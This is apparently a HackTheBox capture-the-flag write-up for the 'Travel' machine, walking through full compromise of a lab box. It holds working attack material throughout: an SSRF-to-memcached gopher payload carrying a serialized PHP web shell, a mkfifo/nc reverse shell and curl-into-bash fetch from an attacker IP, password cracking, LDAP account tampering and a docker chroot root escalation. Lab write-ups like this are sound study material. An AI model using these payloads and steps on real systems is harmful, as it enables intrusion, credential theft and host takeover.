Categories

  • All
  • HackTheBox

Tags

  • HackTheBox

Travel

Travel

Nmap Scan

Nmap scan report for 10.10.10.189
Host is up (0.038s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 1.95 seconds

Initial Enumeration

Whatweb:

whatweb --color=never --no-errors -a 3 -v http://10.10.10.189:80 2>&1

Possible email from whatweb: hello@travel.htb

Alternate domains from nmap on 443:

Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb

Pillaging .git directory

Visiting blog-dev.travel.htb directly gives us a forbidden (403) error. However, doing a ffuf scan on blog-dev.travel.htb reveals a .git directory. We can use git-dumper to dump this folder:

https://github.com/arthaud/git-dumper

python3 git-dumper/git-dumper.py http://blog-dev.travel.htb gitfetch

Looking through our Spoils

cding into gitfetch/.git and running git log gives us another email: jane@travel.htb

git log

Author: jane <jane@travel.htb>
Date:   Tue Apr 21 01:34:54 2020 -0700

    moved to git

In template.php, we see a really interesting function (url_get_contents) that appears to sanitize a user supplied command and passes it to curl:

function safe($url)
{
        // this should be secure
        $tmpUrl = urldecode($url);
        if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
        {
                die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
        }
        if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
        {
                die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
        }
        $tmp = parse_url($url, PHP_URL_HOST);
        // preventing all localhost access
        if($tmp == "localhost" or $tmp == "127.0.0.1")
        {
                die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
        }
        return $url;
}

function url_get_contents ($url) {
    $url = safe($url);
        $url = escapeshellarg($url);
        $pl = "curl ".$url;
        $output = shell_exec($pl);
    return $output;
}

In rss_template.php we see another interesting section, that seems to have a debug section:

<?php
if (isset($_GET['debug'])){
  include('debug.php');
}
?>

On first glance, adding ?debug=ANYTHING HERE just spits out nonsense in the form of a serialized php object:

<!--
DEBUG
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
| xct_4e5612ba07(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
 ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
-->

However, if we look at the code for rss_template again, we see something interesting. The url we provide for debug.php to curl needs to include the word “custom_feed_url” or it won’t work:

        $url = $_SERVER['QUERY_STRING'];
        if(strpos($url, "custom_feed_url") !== false){
                $tmp = (explode("=", $url));    
                $url = end($tmp);       
         } else {
                $url = "http://www.travel.htb/newsfeed/customfeed.xml";
         }
         $feed = get_feed($url); 

If we check out what the function that houses this segment is doing, we see that it’s calling url_get_contents from template.php. url_get_contents sanitizes the input using safe($url) in template.php as well, then passes it to curl and executes it.

If we read README.md, we can see that the locations of template.php, rss_template.php and debug.php are in /wp-content/themes/twentytwenty.

Building our Exploit

In order to bypass the SSRF filter that template.php has on it, we’ll just use http://LOCALHOST instead of http://localhost.

The page isn’t vulnerable to any useful XXE injection. While the RSS parser is properly parsing XML, it seems to quit if it sees SYSTEM in the <!ENTITY field, which we need.

Visiting http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php shows us a part of the key put into memcache, but not the whole thing. The first time we request a file from our local server, it makes two requests: 1 for curl and 1 for memcached to cache the page.

Because memcached is caching the page, we can use the SSRF vulnerability to inject keys and data into memcached. Using the information we’ve gathered from template/rss_template.php and the small amount of info in debug.php, we can see that the data is being stored in a serialized form inside of memcached, which means it’s being deserialized when its pulled from the cache.

In order to build the exploit locally, we can set up a WordPress server using the instructions in the README we grabbed earlier (which I’ll skip, as it’s a bit of a process).

Note: TemplateHelper is the vulnerable portion of this webapp. Using the link I posted below, I found similarities between the example in the tutorial and the TemplateHelper function being used.

We can follow the directions on the following page to build an exploit, substituting the keys and data.

Useful: https://www.netsparker.com/blog/web-security/untrusted-data-unserialize-php/

The payload looks like this:

O:14:"TemplateHelper":2:{s:4:"file";s:7:"poc.php";s:4:"data";s:30:"<?php system($_GET['cmd']); ?>";}

We can run this through gopherus, to give ourselves a useable link:

https://github.com/tarunkant/Gopherus
gopherus --exploit phpmemcache


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


This is usable when you know Class and Variable name used by user

Give serialization payload
example: O:5:"Hello":0:{}   : O:14:"TemplateHelper":2:{s:4:"file";s:7:"poc.php";s:4:"data";s:30:"<?php system($_GET['cmd']); ?>";}

Your gopher link is ready to do SSRF : 

gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20100%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22poc.php%22%3Bs:4:%22data%22%3Bs:30:%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

After everything done, you can delete memcached item by using this payload: 

gopher://127.0.0.1:11211/_%0d%0adelete%20SpyD3r%0d%0a

-----------Made-by-SpyD3r-----------

We’ll need to swap out “SpyD3r” for the key name that the website is caching www.travel.htb/newsfeed/customfeed.xml under. In order to do that, we can inject our own local webserver with the payload, and see what it enters into memcached.

We’ll visit the following link to inject the payload:

http://127.0.0.1/awesome-rss/?custom_feed_url=gopher://LOCALHOST:11211/_%0d%0aset%20SpyD3r%204%200%20100%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22poc.php%22%3Bs:4:%22data%22%3Bs:30:%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

nc -nv 127.0.0.1 11211
Connection to 127.0.0.1 11211 port [tcp/*] succeeded!
stats items
STAT items:16:number 1
STAT items:16:age 13
STAT items:16:evicted 0
STAT items:16:evicted_nonzero 0
STAT items:16:evicted_time 0
STAT items:16:outofmemory 0
STAT items:16:tailrepairs 0
STAT items:16:reclaimed 0
STAT items:16:expired_unfetched 0
STAT items:16:evicted_unfetched 0
STAT items:16:crawler_reclaimed 0
STAT items:16:crawler_items_checked 0
STAT items:16:lrutail_reflocked 0
END
stats cachedump 16 1
ITEM xct_4e5612ba079c530a6b1f148c0b352241 [2736 b; 1589998736 s]
END

Now that we have the key name, we can swap that out in our payload, and use it on the victim!

We’ll visit the link with our updated payload:

http://blog.travel.htb/awesome-rss/?custom_feed_url=gopher://LOCALHOST:11211/_%0d%0aset%20xct_4e5612ba079c530a6b1f148c0b352241%204%200%20100%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:7:%22poc.php%22%3Bs:4:%22data%22%3Bs:30:%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a

Now, we just need to visit http://blog.travel.htb/awesome-rss/ to trigger it!

Finding Our Webshell

If we look at the TemplateHelper function, it’s writing to the /wp-content/themes/twentytwenty/logs/ directory, which means our shell will be at http://blog.travel.htb/WordPress/wp-content/themes/twentytwenty/logs/poc.php

http://blog.travel.htb/wp-content/themes/twentytwenty/logs/poc.php?cmd=id:

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Popping a Shell

To pop our shell, we can host the following shell.sh script on our webserver:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 4444 >/tmp/f

Now, we just need to url encode the payload and curl it into bash:

http://blog.travel.htb/wp-content/themes/twentytwenty/logs/poc.php?cmd=curl%20http%3a%2f%2f10.10.xx.xx%2fshell.sh%20|%20bash

$ whoami
www-data

Upgrading our Shell

This box doesn’t have python or python3 installed, and the perl tty upgrade doesn’t want to work. Instead, we’ll use Postshell to give ourselves a fully interactive shell:

git clone https://github.com/rek7/postshell
cd postshell && sh compile.sh

Now, we can curl this onto the victim’s box (since we don’t have wget), chmod it and execute it:

cd /var/tmp
curl http://10.10.xx.xx/stub -o stub

chmod +x stub
./stub 10.10.xx.xx 4444

www-data@blog:/var/tmp$ whoami
www-data

Internal Enumeration

We find some credentials in wp-config.php:

wp:fiFtDDV9LYe8Ti

Looking around the database doesn’t show us anything interesting. However, running lse.sh shows us that a backup of the database exists:

-rw-r--r-- 1 root root 1190388 Apr 24 06:39 /opt/wordpress/backup-13-04-2020.sql

If we pull this to our local machine, we can load it into mysql:

mysql -u****** -p******* --database=wp < backup.sql

use wp
select * from wp_users;

+----+-------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+---------------+
| ID | user_login  | user_pass                          | user_nicename | user_email       | user_url         | user_registered     | user_activation_key | user_status | display_name  |
+----+-------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+---------------+
|  1 | admin       | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin         | admin@travel.htb | http://localhost | 2020-04-13 13:19:01 |                     |           0 | admin         |
|  2 | lynik-admin | $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc. | lynik-admin   | lynik@travel.htb |                  | 2020-04-13 13:36:18 |                     |           0 | Lynik Schmidt |
+----+-------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+---------------+

We can save that new hash to a file called hashes.txt to crack with hashcat:

hashcat -m 400 hashes.txt /usr/share/wordlists/rockyou.txt --force 

It decodes to “1stepcloser”.

Trying to ssh in with lynik gives us a “public key denied” error, but we can ssh in with the username lynik-admin!

lynik-admin:1stepcloser

Internal Host Enumeration

Looking in lynik-admin’s home folder, we see two interesting files: .viminfo and .ldaprc:

.viminfo:

...
# Registers:
""1     LINE    0
        BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
...

.ldaprc:

HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb

We have ldapsearch present on the box, and we can take a look at the /etc/hosts file to see where the ldap server is located:

/etc/hosts:

127.0.0.1 localhost
127.0.1.1 travel
172.20.0.10 ldap.travel.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Now, using the information in .ldaprc and the BINDPW in .viminfo, we can dump the ldap server:

ldapsearch -w Theroadlesstraveled -D "cn=lynik-admin,dc=travel,dc=htb" -b "dc=travel,dc=htb" -h ldap.travel.htb

# extended LDIF                                           
#                                                         
# LDAPv3                                                  
# base <dc=travel,dc=htb> with scope subtree              
# filter: (objectclass=*)                                                                                            
# requesting: ALL                                         
#                                                         
                                                                                                                     
# travel.htb                                              
dn: dc=travel,dc=htb                                      
objectClass: top                                          
objectClass: dcObject                                                                                                
objectClass: organization                                 
o: Travel.HTB                                             
dc: travel                                                                                                           
                                                          
# admin, travel.htb                                       
dn: cn=admin,dc=travel,dc=htb                             
objectClass: simpleSecurityObject                         
objectClass: organizationalRole                           
cn: admin                                                 
description: LDAP administrator                                                                                      
                                                          
# servers, travel.htb                                     
dn: ou=servers,dc=travel,dc=htb                                                                                      
description: Servers                                      
objectClass: organizationalUnit                           
ou: servers                                               
                                                                                                                     
# lynik-admin, travel.htb                                 
dn: cn=lynik-admin,dc=travel,dc=htb                       
description: LDAP administrator                                                                                      
objectClass: simpleSecurityObject                         
objectClass: organizationalRole                           
cn: lynik-admin                                           
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
 =                              
 ...
 # domainusers, groups, linux, servers, travel.htb
dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
gidNumber: 5000
cn: domainusers
objectClass: top
objectClass: posixGroup

# search result
search: 2
result: 0 Success

# numResponses: 22
# numEntries: 21

That hashed password decodes to “Theroadlesstraveled” which we already knew.

We can edit one of the users to allow us to SSH in under another user id, with a ldif file:

new.ldif:

dn: uid=frank,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: userPassword
userPassword: {SSHA}0JZzQwnVI4FkqtTkzQYLUcvd7SpF1QbDcTRmkw==
-
replace: uidNumber
uidNumber: 1000
-
replace: gidNumber
gidNumber: 1000
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: (your id_rsa.pub key here)

Now, we can use ldapmodify to put these changes into effect:

ldapmodify -a -H ldap://ldap.travel.htb -x -D “cn=lynik-admin,dc=travel,dc=htb” -w Theroadlesstraveled -f new.ldif

Now, we can just ssh in!

ssh -i ~/.ssh/id_rsa frank@10.10.10.189

trvl-admin@travel:~$ id
uid=1000(trvl-admin) gid=1000(trvl-admin) groups=1000(trvl-admin),5000(domainusers) 

Strangely, it seems like some of the groups that trvl-admin was in have been stripped. To get the correct shell, we’ll just create a file in /home/trvl-admin/.ssh names authorized_keys and put our id_rsa.pub key in it.

Now, if we ssh in as trvl-admin instead of frank, we’ll get a shell with the correct groups:

trvl-admin@travel:~$ id
uid=1000(trvl-admin) gid=1000(trvl-admin) groups=1000(trvl-admin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

From here, we aren’t able to do much, since lxd gives us an error (since it isn’t contained). Because we have docker on the box (group 117) we can use a docker privesc method:

new.ldif:

dn: uid=eugene,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changetype: modify
replace: userPassword
userPassword: {SSHA}0JZzQwnVI4FkqtTkzQYLUcvd7SpF1QbDcTRmkw==
-
replace: uidNumber
uidNumber: 1000
-
replace: gidNumber
gidNumber: 117
-
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: <your key here>

Now, we just need to run it, then ssh in:

ldapmodify -a -H ldap://ldap.travel.htb -x -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f new.ldif 

ssh -i ~/.ssh/id_rsa eugene@10.10.10.189

trvl-admin@travel:~$ id                                                                                              
uid=1000(trvl-admin) gid=117(docker) groups=117(docker),5000(domainusers) 

Now, using docker, we can list images:

trvl-admin@travel:~$ docker image list
REPOSITORY            TAG                 IMAGE ID            CREATED             SIZE
nginx                 latest              602e111c06b6        4 weeks ago         127MB
memcached             latest              ac4488374c89        4 weeks ago         82.3MB
blog                  latest              4225bf7c5157        6 weeks ago         981MB
ubuntu                18.04               4e5021d210f6        2 months ago        64.2MB
jwilder/nginx-proxy   alpine              a7a1c0b44c8a        3 months ago        54.6MB
osixia/openldap       latest              4c780dfa5f5e        8 months ago        275MB

Trying ubuntu gives us an error, but we know that blog has a full OS on it, so we’ll use that:

docker run -v /:/mnt --rm -it blog chroot /mnt sh 

# id
uid=0(root) gid=0(root) groups=0(root)

Voila, root!